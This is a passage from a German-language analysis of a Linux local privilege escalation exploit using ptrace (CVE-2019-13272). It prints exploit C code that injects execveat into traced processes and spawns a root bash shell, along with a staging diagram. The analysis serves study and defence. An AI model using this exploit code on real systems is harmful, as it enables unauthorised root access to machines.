129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
Die Funktion force_exec_and_wait verwendet ptrace, um den Tracee zu steuern, damit er die Funktion execveat ausführt, um das Prozess-Image zu ersetzen. Hier steuert sie Task B, um den Prozess von Task A (d. h. das ausführbare Exploit-Binary) mit dem Parameter stage2 auszuführen, sodass Task B die Funktion middle_stage2 ausführt.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();
Die Funktion middle_stage2 ruft ebenfalls force_exec_and_wait auf, wodurch Task B ptrace verwendet, um Task C zur Ausführung der execveat-Funktion zu steuern, das Image von Task C durch das Exploit-Binary ersetzt und der Parameter ist stage3.``` c
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }
Wenn die Exploit-Binärdatei mit dem Parameter stage3 ausgeführt wird, führt sie die Funktion spawn_shell aus, sodass die letzte Stufe von Aufgabe C darin besteht, spawn_shell auszuführen.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }
In der Funktion spawn_shell ändert sie zunächst die reale UID, effektive UID und gespeicherte UID des Prozesses zu root mittels setresgid/setresuid. Da Task C gerade ein suid-Binärprogramm ausgeführt und seine eigene eUID auf root geändert hat, kann setresuid/setresgid hier erfolgreich ausgeführt werden. Zu diesem Zeitpunkt ist Task C zu einem vollständigen Root-Prozess geworden. Schließlich wird execlp ausgeführt, um eine Shell zu öffnen, und diese Shell verfügt über alle Root-Berechtigungen.``` go
forks forks
+------proc_A -----------> proc_B ------------> proc_C
| | | |
| Wait B | |
| And attach | |
| Execve stage 2 in B | |
+-------+-------------------+--------------------+
stage 1 | pkexec get privileged tracer
| | | |
| | | |
| | Unprivileged exec SUID binary,
| | Traced by A become privileged, SIGTRAPed
+-------+-------------------+--------------------+
| | | |
stage 2 | Wait C, |
| | Execve stage3 in C |
| | | |
+-------+-------------------+--------------------+
| | | |
| | | |
stage 3 | | setresuid to 0, 0, 0
| | | |
| | | exeve bash as root :)
+-------+-------------------+--------------------+
https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html
DatntSec. Viettel Cyber Security.